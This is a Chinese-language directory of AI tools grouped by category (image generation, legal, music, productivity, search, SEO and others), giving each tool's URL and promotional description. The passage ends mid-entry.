获得完美的图像。每次。准确找到您需要的图像。如果它不存在,我们会立即为您创建。 Craiyon 图像生成器 https://craiyon.com AI 模型从任何提示中绘制图像! Soreal.AI Studio 图像生成器 https://soreal.ai AI图像生成入门最简单的方法 Imgcreator 图像生成器 https://imgcreator.zmo.ai 使用文本创建图像。生成基于文本的图像以帮助您思考和创作。 Stylized 图像生成器 https://stylized.ai 几秒钟内即可获得专业的产品照片。Stylized 使用人工智能创建令人惊叹的产品照片和社论 - 无需工作室 Artssy 图像生成器 https://artssy.co 使用 Artssy AI 一键创建无限图像,探索无限可能的世界。当您可以立即创建完美的图像时,停止为免版税的照片付费。 Nijijourney 图像生成器 https://nijijourney.com 动漫迷的 NijiJourney AI。新的 niji 模型经过精心调整,可以制作动漫和插画风格。它对动漫,动漫风格和动漫美学有更多的了解。它非常适合动态和动作镜头,以及一般以角色为中心的构图。 Roll Art Die 图像生成器 https://roll-art-die.com 在您的 Apple Silicon 设备上使用 StableDiffusion。仅使用文本生成 AI 艺术品。将您梦想中的艺术品变为现实。无需云订阅。 Dreamer 图像生成器 https://slashdreamer.com 将 Notion 中的 Stable Diffusion 集成到 AI 中,使用新的斜杠命令生成图像。 Enterpix 图像生成器 https://enterpix.app 人工智能生成的图像搜索引擎。 Xno.ai 图像生成器 https://xno.ai 使用 39 个 GPU 探索 19 个顶级文本到图像 AI。 Spellbook 法律助手 https://spellbook.legal 使用 AI 起草合同的速度提高了 3 倍。Spellbook 使用 GPT-3 在 Microsoft Word 中审查和建议合同语言。Spellbook 接受了数十亿行法律术语的培训,可以立即为您的合同建议语言。 Casetext 法律助手 https://casetext.com 发现 Lexis 和 Westlaw 遗漏案例的现代搜索技术。不要冒失去先例的风险。以实惠的价格获得更快、更准确的法律研究。 Detangle.ai 法律助手 https://detangle.ai Detangle 为您提供 AI 生成的法律文件摘要,以便您真正理解它们。 Activazon 法律助手 https://activazon.com Activazon 是一项犯罪报告分析服务,旨在让居民和访客了解在他们的社区和其他地方发生的活动。 Legal Robot 法律助手 https://legalrobot.com 法律建议需要仔细分析法律及其如何适用于特定情况。Legal Robot 提供通过自动分析与其他法律文件和判例法相关的法律文件而生成的信息。我们还提供语言和统计分析,帮助您了解法律文件中的潜在问题。 Ferret 法律助手 https://ferret.ai Ferret 无与伦比的 AI 应用程序,结合世界一流的信息,为您提供独家关系情报,可以帮助您避开高风险人群并发现有前途的机会。 DoNotPay 法律助手 https://donotpay.com 世界上第一个机器人律师。DoNotPay 应用程序是世界上第一位机器人律师的故乡。只需按一下按钮,就可以打击公司、打击官僚主义并起诉任何人。 Replika 生活助手 https://replika.com 关心的AI伴侣。总是在这里倾听和交谈。永远在你身边。 Find Your Next Book 生活助手 https://findyournextbook.ai Find Your Next Book 是一项图书推荐服务,旨在帮助那些难以决定阅读什么的人。只需根据人物、背景和/或情节描述您想要的读物,我们就会从我们的数千本书数据库中推荐最佳选择。 Thekeys 生活助手 https://thekeys.ai 您知道自己想说什么,只是不确定如何说。Keys 可帮助您以正确的方式说话,而不会改变您的意图,或听起来像机器人。 AI Trip Planner 生活助手 https://buildai.space AI Trip Planner 是一款全球旅行计划应用程序,可为用户前往世界任何目的地的旅行自动创建详细的每日行程。所有用户需要做的就是指定他们的旅行长度和他们想要的目的地,应用程序将处理剩下的事情 Caktus 生活助手 https://caktus.ai 为学生撰写论文、讨论问题、一般编码帮助和专业工作申请帮助提供的 AI 解决方案。 JustLearn 生活助手 https://justlearn.com 您可以使用 Justlearn 创建 AI 朋友并与他们交谈。 BlackInk 生活助手 https://blackink.ai 在几秒钟内创建您自己独特的闪光纹身。停止花费数月时间在 Pinterest 上搜索你的下一个纹身。使用 BlackInk 的 AI 在几秒钟内生成定制的独特纹身,专为您打造类似纹身的设计。 Write Me A Cover Letter 生活助手 https://WriteMeACoverLetter.com 使用 AI 在几秒钟内生成求职信。只需上传您的简历,分享您想要的工作的链接,剩下的交给我们。 TinyWow 生活助手 https://tinywow.com 人工智能驱动的实用工具,让您的生活更轻松。最常见的工具包括 PDF、视频、图像、AI 写入和转换工具。 Prodigy AI 生活助手 https://ai.prodi.gg 面向开发人员的 GPT 职业教练。根据您的独特技能、经验和目标,立即获得个性化的职业建议和指导。通过人工智能。 Circle Labs 生活助手 https://circle.isyourshadowyou.com 我们制造的 AI 是您真正愿意花时间与之交谈的。有个性、有棱有角的人工智能。 Elektrif AI 生活助手 https://elektrif.ai 做最好的自己,永远不要无话可说,花更多的时间去真正了解一个人。Elektrif.AI 使用 GPT3 生成个性化的对话开场白、改写您的消息以使其更具吸引力等。 Resume Worded 生活助手 https://resumeworded.com 改善您的简历和 LinkedIn 个人资料。我们的人工智能平台由顶级招聘人员设计,可立即为您的简历和 LinkedIn 个人资料提供量身定制的反馈。获得 5 倍以上的面试、机会和工作机会。 Reggi 生活助手 https://yfj.social Reggi 帮助您在实时商店中跟踪您的购买和预算,在您购物时将正确的税费应用到您的小计中。整体无压力的购物体验。 Brandmark Logo 生成器 https://brandmark.io 为您的企业创建独特、专业的徽标。使用我们免费的 AI 驱动设计工具,为您的下一个徽标项目获取颜色和字体创意。 Looka Logo 生成器 https://looka.grsm.io Looka Logo Maker 将您的徽标设计偏好与人工智能相结合,帮助您创建自己喜欢的自定义徽标。 Make Logo AI Logo 生成器 https://makelogoai.com 不到一杯咖啡的设计师品质标志。高清+透明背景。在不到 24 小时内交付。商业里 Namecheap Logo Maker Logo 生成器 https://namecheap.com 只需回答几个问题,即可免费下载数百个徽标。 Sitekick 低代码/无代码 https://sitekick.ai Sitekick 是一个 AI 登陆页面构建器。它允许您创建漂亮的登录页面,而无需编码、设计或文案写作技能。 Robovision.ai 低代码/无代码 https://robovision.ai 打造有效的动态视觉 AI。Robovision 提供涵盖整个 AI 生命周期的视觉 AI 平台。在当今不断变化的商业环境中简化开发、实施和调整 AI 的整个过程。 Dust 低代码/无代码 https://dust.tt 设计和部署大型语言模型应用程序。快速工程,重新构想🔥 建立在多年使用大型语言模型的经验之上。为了一个目标,帮助加速他们的部署。 Neon AI 低代码/无代码 https://neon.ai 使用 Neon AI 的支持技术创建最先进的语音应用程序。Neon AI SDK 将高级人工智能和自然语言理解集成到一个紧密结合的软件工程平台中。想想 Amazon Alexa、Google Home、Apple Siri 和 Microsoft Cortana - 以及免费的开源软件。他们还在其网站上列出了适用于 Mycroft Mark II 的 AI 操作系统。 VWO 低代码/无代码 https://vwo.com 将您的访问者变成付费客户。立即设置您的第一个实验。 Durable AI 低代码/无代码 https://durable.ai 我们的使命是使用能够进行人类推理和对话的可解释 AI 来转变对定制软件的访问。我们设想的未来是,自定义、灵活和耐用的软件将民主化并可供所有人使用。 Teleporthq 低代码/无代码 https://teleporthq.io TeleportHQ 是具有集成 UI 开发和内容建模工具的协作前端平台。一个强大的可视化构建器,可立即创建和发布您的无头静态网站。 Debuild 低代码/无代码 https://debuild.app 快速构建 Web 应用程序。 Monitaur 低代码/无代码 https://monitaur.ai 获得可根据您的业务扩展的有据可查的合乎道德的 AI。Monitaur 可帮助您审核、跟踪和记录 AI 和算法的实时结果,以实现最佳性能和合规性。我们的平台旨在与接触您的 AI 的每个团队集成。 Teachable Machine 低代码/无代码 https://teachablemachine.withgoogle.com Teachable Machine 是一种基于网络的工具,可以让每个人快速、轻松地创建机器学习模型。它旨在供教育工作者、艺术家、学生、创新者、各种类型的制造者使用——实际上,任何有想法想要探索的人。不需要必备的机器学习知识。 Brancher AI 低代码/无代码 https://brancher.ai 通过让用户能够将 AI 模型连接在一起并生成独特的 AI 驱动的应用程序,让所有人都能访问 AI。货币化并与世界分享您的创作。 Axiom 低代码/无代码 https://axiom.ai Axiom 是一种浏览器扩展程序,可通过在任何网站或 Web 应用程序上自动执行网站操作和重复性任务来帮助您节省时间。 Roboflow 低代码/无代码 https://roboflow.com 给你的软件一种既视感。只需几张图片,您就可以在下午训练一个可以工作的计算机视觉模型。 Nanonets 低代码/无代码 https://nanonets.com 使用 AI 自动执行手动数据输入!立即从文档、文本、图像和电子邮件中捕获数据。减少周转时间和所需的手动工作。基于 OCR(光学字符识别)的 AI 平台。 Lobe 低代码/无代码 https://lobe.ai Lobe 使用免费、易于使用的工具帮助您训练机器学习模型。它只需向它展示您希望它学习的示例,它就会自动训练可以在您的应用程序中发布的自定义机器学习模型。 Liner.ai 低代码/无代码 https://liner.ai Liner 是一款免费工具,可让您轻松训练 ML 模型。它获取您的训练数据并为您提供易于集成的 ML 模型。无需编码或机器学习方面的专业知识。 Cogniflow 低代码/无代码 https://cogniflow.ai 从文本、图像或音频构建 AI 的最简单方法。几分钟后。无需代码。 Build AI 低代码/无代码 https://buildai.space Build AI 可帮助您在几分钟内构建 AI 应用程序。您将能够完全自己构建应用程序并发布它。您将能够根据需要对其进行更新,包括改进和完善您的提示,使您的应用达到最佳状态 Felvin 低代码/无代码 https://felvin.com Felvin 使非开发人员能够创建、发现 AI 应用程序并从中获利。我们的无代码工具使您可以轻松创建 AI 应用程序并将它们放在 SEO 优化的图库中以供发现。 Seek 低代码/无代码 https://seek.ai 智能数据层。询问您的任何数据并立即获得答案 Lightning AI 低代码/无代码 https://lightning.ai 闪电般快速地构建模型和全堆栈 AI 应用程序。使用 Lightning App 模板构建模型和 AI 驱动的云应用程序,无需 DIY 基础设施、成本管理、扩展和其他令人头疼的问题。 Browse AI 低代码/无代码 https://browse.ai 从任何网站提取和监控数据的最简单方法。在 2 分钟内训练一个机器人。无需编码。 Softr Studio 低代码/无代码 https://softr.io 为您的企业构建自定义应用程序,就像乐高积木一样简单。使用他们的 AI,只需单击一下即可在 Softr 中生成图像和复制。将您的 Airtable 或 Google Sheets 变成客户门户、合作伙伴应用程序或内部工具。 Symanto Text Insights 低代码/无代码 https://symanto.com 市场领先的 NLP API。通过实时分析和简单的系统集成,利用文本数据获得更好的业务洞察力。 Mutiny 低代码/无代码 https://mutinyhq.com Mutiny 是一个无代码 AI 平台,可帮助营销人员在没有工程师的情况下将他们的漏斗顶部需求转化为收入。 Zevi.ai 低代码/无代码 https://zevi.ai 通过 AI 驱动的搜索和发现解决方案改善业务成果 通过以意图为中心、易于集成的网站搜索引擎引导您的潜在客户从发现到转化,这有助于提高参与度和销售额 Riku.ai 低代码/无代码 https://riku.ai 使您无需代码即可构建 AI 模型。通过集成、API 或公共共享链接使用 AI。每个人都可以访问 AI。 AI Surge Cloud 低代码/无代码 https://ai-surge.cloud AI Surge 是一个无代码决策智能平台,可帮助企业构建生产优先的 ModelOps 管道,无需编写一行代码即可将数据科学带入生活。这就像没有数据科学家的数据科学。我们正在帮助企业将数据交付速度提高 10 倍,并将成本降低 90%。 10Web 低代码/无代码 https://10web.io AI - 供电的 WordPress 平台。至少可以说,自动化的网站构建器、托管和 PageSpeed Booster。 Retune 低代码/无代码 https://retune.so 使用 GPT-3 创建微调语言模型并从中获利的终极工具。借助 re:tune,您可以轻松地为任何行业或用例训练和定制您自己的 AI 助手,并生成 API 以将其集成到您自己的应用程序中。 Heyday 记忆 https://heyday.xyz Heyday 是一款由 AI 驱动的记忆助手,可以重新显示您在浏览网页时忘记的内容。记住更多你学到的东西。自动地。 Personal.ai 记忆 https://personal.ai PersonalAI 是一种 AI 工具,可以以思维的速度产生新想法、回忆关键概念和编写原创内容。新想法的自动编目和您存储的所有内容的集中知识中心。 Rewind AI 记忆 https://rewind.ai Rewind 是您生活的搜索引擎。这是一款专为隐私设计的 macOS 应用程序,可让您找到您所见、所说或所听的任何内容。 Natural Language Playlist 音乐 https://naturallanguageplaylist.com AI 生成混音带和播放列表。输入一个句子作为提示,并返回由 AI 策划的歌曲列表! Endel 音乐 https://endel.io 个性化音景可帮助您集中注意力、放松身心和入睡。以神经科学为后盾。 Harmonai 音乐 https://harmonai.org 我们是一个社区驱动的组织,发布开源生成音频工具,让每个人都能更轻松、更有趣地制作音乐 Riffusion 音乐 https://riffusion.com Riffusion 根据文本提示生成音乐。尝试您最喜欢的风格、萨克斯管或小提琴等乐器、阿拉伯语或牙买加语等修饰语、爵士乐或福音音乐等流派、教堂钟声或雨声等声音,或任意组合 Sonify 音乐 https://sonify.io Sonify 在音频、数据和新兴技术的交叉领域进行创新。我们设计和开发音频优先的产品和数据驱动的解决方案。 Beatoven.ai 音乐 https://beatoven.ai Beatoven.AI 使用先进的 AI 音乐生成技术来创作独特的基于情绪的音乐,以适合您的视频或播客的每个部分。 Amper 音乐 https://ampermusic.com Amper 的使命是让任何人都能通过音乐创造性地表达自己,无论他们的背景、专业知识或资源如何。Amper 构建由我们的 Creative AI 提供支持的工具,以帮助人们创作和定制原创音乐。他们还提供了一个 API,您可以使用它来创建自己的产品。 Soundful 音乐 https://soundful.com Soundful 使创作者只需单击一个按钮即可生成免版税曲目。Soundful 音乐的音质如此丰富,你不会相信它是用 AI 制作的。 Songtell 音乐 https://songtell.com Songtell 是有史以来第一个由 AI 生成的歌曲含义库,生成了超过 20000 首歌曲含义。您还可以订购印有您最喜爱歌曲含义的海报。查看他们的 subreddit r/songtell 了解更多详情! Pop2Piano 音乐 https://sweetcocoa.github.io 从您想要的任何歌曲中播放基于流行音乐的钢琴翻唱。通过从列表中选择项目来更改钢琴翻唱的歌曲和风格。 Boomy 音乐 https://boomy.com 制作即时音乐并与世界分享。在几秒钟内创作原创歌曲,即使您以前从未制作过音乐。在 Spotify、TikTok、YouTube 和全球 40 多个其他平台上的每次收听都将获得报酬。 Open Voice OS 音乐 https://openvoiceos.com Open Voice OS 展示了开源语音 AI 在一系列设备上的强大功能。社区支持的 Linux 发行版。 Emergent Drums 音乐 https://audialab.com 使用人工智能生成独特的鼓样本。使用我们的突破性插件生成无尽的鼓样本,全部免版税。 Mubert 音乐 https://mubert.com Mubert - 面向内容创作者、品牌和开发商的全新免版税音乐生态系统 🔥。来看看我们的高品质音乐如何提升您的内容⏩! Splashmusic 音乐 https://splashmusic.com 将音乐创作的乐趣带给每个人 Aiva 音乐 https://aiva.ai AIVA,人工智能音乐作曲家,可为您的项目创作原创和个性化的音乐。 Rephrasely 改写 https://rephrasely.com 释义是写作过程中很自然的一部分,因为它可以帮助您理清思路并使您的措辞适合您的听众。使用 Rephrasely 有助于构建和简化这项工作,我们的释义工具提供了 20 种模式,其中许多是免费的,以实现这一点。我们提供的 20 种模式多种多样,包括摘要工具、免费语法检查器、简化文本的模式和句子缩短器。 Paraphraser 改写 https://paraphrasetool.com Paraphrase Tool 使用 AI 生成 100 多种语言的文本变体。 Quillbot Paraphraser 改写 https://quillbot.com/ Quillbot 将重写您的文本。通过编写或粘贴内容然后单击释义来免费开始。 Tavus 个性化视频 https://tavus.io 认识 Tavus,这是一款程序化个性化视频工具,专为希望改变建立关系方式的顶级产品、营销和销售团队打造。录制一次并发现 Tavus 的力量,因为我们的 AI 会自动为大大小小的观众生成个性化视频。 Rephrase 个性化视频 https://rephrase.ai Rephrase 的技术可大规模创建超个性化视频,从而提高参与度和业务效率。 Windsor 个性化视频 https://windsor.io 向每一位客户发送个人视频,让他们永远不会忘记您的品牌录制一个视频,Windsor 的 AI 会向您的客户发送数百万个个性化副本。 BHuman 个性化视频 https://bhuman.ai 制作单个视频并为成千上万的收件人进行个性化设置。通过任何渠道交付并立即测量结果。您可以通过录制模板、连接数据然后生成个性化视频来实现。 Vidyo 个性化视频 https://vidyo.ai 立即将长视频制作成短视频。使用强大的 AI 从您现有的视频中创建短片 ✨ 节省 90% 的时间和精力。 DeepL 生产力 https://deepl.com DeepL 是世界上最准确、最细致的机器翻译。通过结合先进的 AI 技术和无与伦比的翻译准确性,它的准确度比最接近的竞争对手高出 3 倍以上。 Scale 生产力 https://scale.com 借助更好的数据,更快地从您的 AI 投资中获得价值。更好的数据会带来更高性能的模型。高性能模型导致更快的部署。 Oracle 生产力 https://askoracle.app Oracle 已经为您提供了所有答案。从 Oracle 获得即时答案,节省时间和精力。Ask Oracle 可以连接并回答来自 Slack、Docs 和 Notion 的问题。 Merlin 生产力 https://merlin.foyer.work Merlin 在您最喜爱的所有网站上为您提供 OpenAI 的 ChatGPT 的强大功能。例如:Gmail、g-sheets、Twitter、Linkedin 等。您在线搜索或写作的任何地方。使用 Merlin,您可以快速编辑电子邮件、撰写 Twitter 回复或创建 Excel 公式。 Enzyme 生产力 https://enzyme.com 酶 QMS 软件包括从设计控制到 CAPA 的产品开发生命周期所有阶段的模块。我们的内部专家随时为您提供支持!我们可以指导您完成质量挑战和监管提交流程。立即注册演示。 Albus 生产力 https://springworks.in Albus 是 Slack 内部的 AI 助手。您可以通过向应用程序发送消息直接向 Albus 提问。一些示例包括营销人员使用 Albus 为其目标受众创建个性化且引人入胜的内容,或者设计师可以使用 Albus 为新设计产生创意并创建独特且引人入胜的视觉内容。 Glean 生产力 https://glean.com 立即了解您的公司知道什么。收集公司所有应用程序的搜索,以帮助您准确找到您需要的内容并发现您应该了解的内容。 Marketplan 生产力 https://marketplan.io 一体化营销平台。从一个强大的地方计划、执行、规划和优化您的整个营销策略。 Alfred 生产力 https://alfredsearch.com Alfred 是适用于 iOS 的 GPT 聊天助手。它是一种新的人工智能搜索和内容创建引擎,将无广告搜索和内容创建结合到一个易于使用的应用程序体验中。在 OpenAI 开创性的 GPT-3 的支持下,Alfred 理解您的自然语言并提供准确且相关的答案。使用 Alfred,搜索和查找信息从未如此简单或方便。立即尝试,体验搜索和内容创建的未来。 Qatalog 生产力 https://qatalog.com 为工作定制的操作系统。Qatalog 是一种项目管理/协作 AI 工具,可以无缝管理人员、运营和知识。 Krisp 生产力 https://krisp.ai Krisp 的人工智能解决方案消除了会议中的背景噪音和回声,只留下人声。具有噪音和回声消除、小部件、洞察力和通话摘要等功能。 Mem.ai 生产力 https://mem.ai 让 AI 组织您团队的工作——从会议记录、项目到知识库。所有这些都可以立即搜索并且很容易被发现。 Reclaim AI 生产力 https://reclaim.ai 用于 Google 日历的任务管理和计划的 AI。Reclaim 为您的团队的优先事项创建完美的时间表,并通过智能、灵活和自适应的时间编排节省高达 40% 的工作周时间。 Xembly 生产力 https://xembly.com 一个自动化的参谋长来处理让你慢下来的任务。通过平凡的工作。专注于意义。 SlidesAI 生产力 https://slidesai.io 使用 AI 在几秒钟内创建演示幻灯片告别繁琐的手动幻灯片创建。让 AI 为您编写大纲和演示内容。使用他们的工具,您可以立即从任何文本轻松创建专业、引人入胜的幻灯片。适用于谷歌幻灯片。Microsoft Powerpoint 即将推出。 Noty.ai 生产力 https://noty.ai AI 会议助手将 Google Meet 转化为行动、任务和跟进。功能包括:实时转录和一键突出显示。AI 摘要和会议情报。自动跟进。 ChatGPT 生产力 https://chat.openai.com ChatGPT:优化对话的语言模型。对话格式使 ChatGPT 可以回答后续问题、承认错误、挑战不正确的前提并拒绝不适当的请求。 Supernormal 生产力 https://supernormal.com SuperNormal 是一个让队友可以全天发送异步视频更新的平台。使用 AI 支持的摘要进行快速视频更新有助于让团队保持更新和联系,而无需安排会议或跨时区同步。 Adobe Sensei 生产力 https://adobe.com 创建和提供理想的客户体验可能是一项复杂的任务。Sensei 使用 AI 和机器学习来简化这些任务,帮助您简化创意过程、做出明智的决策并进行针对性营销以获得更好的结果。 typly 生产力 https://typly.app 使用我们的键盘单击一下即可回复您的所有消息!Typly 会自动生成与对话上下文相匹配的句子。允许您通过单击来回答问题或继续话题。 Promptist 提示 https://huggingface.co Promptist 是 Stable Diffusion v1-4 的提示界面,可优化用户对模型首选提示的输入。Hugging Face Spaces 的在线演示正在使用 CPU,因此预计生成速度较慢。请使用 GPU 在本地加载模型以加快生成速度。 Public Prompts 提示 https://publicprompts.art 图像生成的高质量和开源提示集合 Img2prompt 提示 https://replicate.com 获取与图像匹配的近似文本提示。(针对深度学习文生图模型进行了优化(剪辑 ViT-L/14)) PromptBase 提示 https://promptbase.com 查找最佳提示,产生更好的结果,节省 API 成本,销售您自己的提示。DALL·E,GPT-3,Midjourney,深度学习文生图模型提示市场。 PromptBox 提示 https://promptbox.ai 在不同的 AI 工具中组织、编辑和保存您的 AI 提示。提供保存等功能以提示使用右键单击。 Jrnylist 提示 https://jrnylist.com 中途提示助手。- 浏览数十个分类为艺术与插图或资产与 UI 的提示 您也可以提交自己的提示。 PromptLayer 提示 https://promptlayer.com PromptLayer 是第一个允许您跟踪和管理 GPT 提示工程的平台。PromptLayer 充当您的代码和 OpenAI 的 python 库之间的中间件。PromptLayer 记录您所有的 OpenAI API 请求,允许您在 PromptLayer 仪表板中搜索和探索请求历史记录。 Eye for AI 提示 https://eyeforai.xyz 将您喜欢的提示保存为模板,并在将来使用它们快速生成图像。模板可用于上传的图像或文本提示。 Dallelist 提示 https://dallelist.com Dallelist 允许您使用图像和样式作为参考轻松生成提示。(关键字)他们也提供与 DallE 网站集成的 chrome 扩展。 InteriorAI 房地产 https://interiorai.com 使用人工智能获取室内设计理念,并为具有不同室内风格的房地产列表提供虚拟舞台室内设计。 GetFloorPlan 房地产 https://getfloorplan.com 将您的 2D 平面图转换为现代且设施齐全的 3D 布局,并使用 AI 进行 360 度虚拟游览,每天可容纳数千人。 Maket 房地产 https://maket.ai 我们的生成设计软件使建筑师、建筑商和开发人员能够立即快速生成数千个建筑计划。 CoolAIid 房地产 https://coolaiid.com 使用 AI 的室内设计理念。无论您是想要装饰还是只是需要一点灵感,我们都会使用 AI 产生独特的想法。 AI Room Planner 房地产 https://airoomplanner.com AI 室内设计。为您的房间获取数百种室内设计理念 - 免费且无限制。 Scholarcy 研究 https://scholarcy.com 通过阅读由 AI 提供支持的大型文章的摘要,节省数百小时。在几秒钟内提取关键事实、数据和参考资料。 Scispace 研究 https://typeset.io 您的 AI Copilot 可以解码任何研究论文。阅读和理解科学文献的最快方式。突出显示令人困惑的文本、数学和表格以获得简单的解释。提出后续问题并获得即时答案。一种无需指定关键字即可搜索和查找相关论文的新方法。 Galactica 研究 https://galactica.org Galactica 是一个接受过人类科学知识训练的人工智能。您可以将它用作一个新界面来访问和操作我们对宇宙的了解。 Elicit 研究 https://elicit.org Elicit 使用语言模型来帮助您自动化研究工作流程,例如部分文献综述。Elicit 可以在没有完美关键字匹配的情况下找到相关论文,针对您的问题总结论文的要点,并从论文中提取关键信息。Elicit 还可以帮助完成其他研究任务,例如头脑风暴、摘要和文本分类。 Adept 研究 https://adept.ai Adept 是一个 ML 研究和产品实验室,通过使人类和计算机能够创造性地协同工作来构建通用智能。 Podcast 研究 https://podcast.ai 人工智能生成的播客。上面有 2 个播客 - Lex Fridman 采访 Richard Feynman 和 Joe Rogan 采访 Steve Jobs。 Consensus 研究 https://consensus.app Consensus 是一个搜索引擎,它使用 AI 直接从科学研究中即时提取、汇总和提炼发现。 Socratic by Google 研究 https://socratic.org 在 Google 人工智能的帮助下,摆脱科学、数学、文学、社会研究等学术问题的困扰,并获得每个学科重要概念的直观解释。 ML news 资源 https://machine-learning.news 以日语汇总与 AI 和 ML 相关的新闻的网站。 FlowGPT 资源 https://flowgpt.com FlowGPT:分享、发现和了解最有用的 ChatGPT 提示,这些提示可帮助您简化任务并提高工作效率。 The AI Times 资源 https://aitimespage.com 了解 AI Times。订阅以将 AI Times 的问题从数字媒体直接发送到您的收件箱。 AI Art Apps Database 资源 https://aiartapps.com 面向设计师和提示工程师的 AI 艺术资源、工具和灵感。找到 AI 艺术所需的一切。 Infranodus 销售 https://infranodus.com 使用 AI 和网络思维产生想法和洞察力。InfraNodus 结合了文本分析、网络可视化和 GPT-3 AI 来帮助您研究一篇文章,增强您的阅读、写作和研究工作流程。从多个导入源获取任何文本的概要概览,揭示主要主题及其之间的关系,找出模式和差距,发现正确的问题以推进您的思考和研究。 Reply.io 销售 https://reply.io 使用 Reply 的 AI Sales Email Assistant 在几秒钟内大规模生成类似人类的销售电子邮件。在 GPT-3 语言预测模型的支持下,您的冷邮件和后续邮件将始终高度相关和个性化,从而提高您的打开率和回复率! Regie 销售 https://regie.ai Regie 使用 AI 帮助销售、营销和成功团队更快地编写引人入胜的内容 Cresta 销售 https://cresta.com 自助服务、现场指导和电话后见解。AI 可以揭示专业知识,因此团队可以让每一次客户对话都有价值。 Omneky 销售 https://omneky.com Omneky - 全渠道创意编排 Outplayhq 销售 https://outplayhq.com Outplay 是一个一体化的多渠道销售参与平台,可帮助销售团队完成更多交易并显着增加收入。 Usetwain 销售 https://usetwain.com 世界一流的销售技巧触手可及。免费使用 Twain 查看您的销售宣传中缺少什么。 Industrial Data Labs 销售 https://industrialdatalabs.com 在 BOM 工作流程中嵌入 AI。内部销售团队花费无数小时手动将物料清单电子表格中的数据输入报价系统和 ERP。我们经过行业培训的 AI 可自动执行此手动流程,让您的销售团队可以将更多时间用于销售。 MarbleFlows 销售 https://app.marbleflows.com AI 生成的表格可转化更多潜在客户。 GETitOUT 销售 https://getitout.io GETitOUT 是一个 AI 角色和文本生成器。营销与人物角色一起使用效果更好。但是为每个项目和客户创建它们?不好玩,至少到现在为止。了解 GETitOUT 的 Persona Generator:从竞争对手那里提取角色。生成专业文本。然后将它们粘贴到您所有的网站、电子邮件和营销工具中。 Klaviyo SMS Assistant 销售 https://klaviyo.com 使用 Klaviyo 的新人工智能短信助手在几秒钟内编写短信活动 Smartwriter 销售 https://smartwriter.ai 使用 AI 创建高度个性化的冷电子邮件或 Linkedin 消息,将读者转化为客户。无需经验。寻找潜在客户,创建量身定制的个性化文案并进行销售。人工智能冷电子邮件 Lavender 销售 https://lavender.ai Lavender 是一套完整的工具,可帮助您在更短的时间内获得更多回复。使用 Email AI 编写更好的电子邮件、更快地实现个性化并指导您的团队。 Andi 搜索引擎 https://andisearch.com Andi 正在使用生成式 AI 寻找下一代。Andi 不仅提供链接,还为您提供答案 - 就像与聪明的朋友交谈一样。 One More AI 搜索引擎 https://onemoreai.com AI 生成的库存图片 查找人工智能生成的数千张图片。 AnyPod 搜索引擎 https://anypod.ai 为创作者打造的 AI 搜索引擎。轻松搜索您最喜欢的播客,例如“我的第一百万”。您还可以提交添加播客的表格。 Kailua Labs 搜索引擎 https://app.kailualabs.com 在您的应用程序中构建强大的多模式搜索。使用我们的 API,通过 AI 轻松搜索您的图像、视频、音频等。 Explore AI 搜索引擎 https://exploreai.vercel.app 由 AI 提供支持的语义搜索引擎。直接在数千个 YouTube 视频中搜索答案,免费、易于浏览且快速。 Looria 搜索引擎 https://looria.com Looria 会找到适合您的需求和预算的最佳产品。他们从最值得信赖的来源收集评论,过滤掉虚假评论,并总结调查结果,以便您做出更明智的购买决定。 ChatGPT Chrome Extension 搜索引擎 https://chrome.google.com 在 Google、Bing、DuckDuckGo 搜索结果旁边显示 ChatGPT 响应。它为您的查询提供了令人惊讶的详细解决方案 - 从编写舞会提案到修复代码。 Everypixel 搜索引擎 https://everypixel.com 由 AI 提供支持的搜索引擎,可为 50 个付费和免费图片网站编制索引,并允许用户在几秒钟内搜索庞大的图片数据库。您还可以按图像和各种搜索过滤器进行搜索,使您能够按颜色、方向和图像类型进行搜索。您还可以比较来自不同网站的图像价格并按作者搜索。 Steno 搜索引擎 https://steno.ai 您最喜爱的播客,完全转录 在您收听时发现、参考和阅读。 Krea 搜索引擎 https://krea.ai 探索数百万 AI 生成的图像并创建提示集合。具有稳定的扩散世代。 Dreamsands 搜索引擎 https://dreamsands.ai Dreamsands 是一个创意市场,您可以在其中许可、收集和分享您感兴趣的 AI 生成艺术图像。 Generated Photos 搜索引擎 https://generated.photos 使用完全由 AI 生成的照片增强您的创意作品。通过我们分类和标记的应用程序查找模型图像,或通过 API 集成图像。 NeevaAI 搜索引擎 https://neeva.com NeevaAI 提供真实、实时的 AI 搜索。它将 AI 的强大功能与搜索堆栈相结合,为您提供快速、准确和最新的结果。并且,它提供了信息的来源。 Context 搜索引擎 https://addcontext.xyz 你最喜欢的内容。转录和搜索。Context 是一个由 AI 驱动的搜索引擎,可以在大量音频和视频内容中找到您正在寻找的任何时刻。您可以搜索 Mr Beast 和 MKBHD 等创作者的内容。 Perplexity AI 搜索引擎 https://perplexity.ai Perplexity AI 是一个人工智能搜索引擎。这是一个受 OpenAI WebGPT 启发的演示,不是商业产品。他们使用大型语言模型(OpenAI API)和搜索引擎。还通过将自然语言转换为 SQL 代码来回答 Twitter 图形查询。 Algolia 搜索引擎 https://algolia.com 适合您业务的最佳搜索和发现平台 Algolia 为构建者提供搜索和推荐服务,以创造世界一流的数字体验。 You 搜索引擎 https://you.com 您可以控制的搜索引擎。 Rosebud 搜索引擎 https://rosebud.ai AI 生成的视觉效果我们让您轻松获得所需的准确视觉效果。 Nyx 搜索引擎 https://nyx.gallery 本网站上的图像是用人工智能生成的,因此“不真实”。你会看到的食物、动物、风景等等都不存在! PromptHero 搜索引擎 https://prompthero.com 通过 DALL-E、Stable Diffusion、Midjourney 等 AI 模型搜索数以百万计的艺术图像...... Writesonic 搜索引擎优化 https://writesonic.com Writesonic 是一个人工智能作家,可以免费为博客、Facebook 广告、谷歌广告和 Shopify 创建对 SEO 友好的内容。我们的释义工具可让您立即改写整篇文章。 Mentioned 搜索引擎优化 https://mentioned.ai 自动驾驶的影响者外展和链接建设。我们扫描您的内容以识别您提到的人和公司,然后发送电子邮件活动让他们知道。 BlogNLP 搜索引擎优化 https://blognlp.com BlogNLP 是一款免费的 AI 博客写作工具,可帮助您打破作者的障碍,在短时间内创建原创内容。 CTRify 搜索引擎优化 https://ctrify.com 第一个 AI 驱动的 SEO 操作平台只需为我们的人工智能提供一个关键字即可创建在 Google 上排名的网站。得益于我们来自世界各地顶级移动运营商的住宅 IP 连接的数百万真实桌面和移动设备的有机流量,提升您的 SERP 排名、有机点击率、停留时间和 Pogo 粘性。 Jenni 搜索引擎优化 https://jenni.ai 你写,Jenni 完成 用最先进的 AI 写作助手增强你的写作。 Closers Copy 搜索引擎优化 https://closerscopy.com 通过 SEO 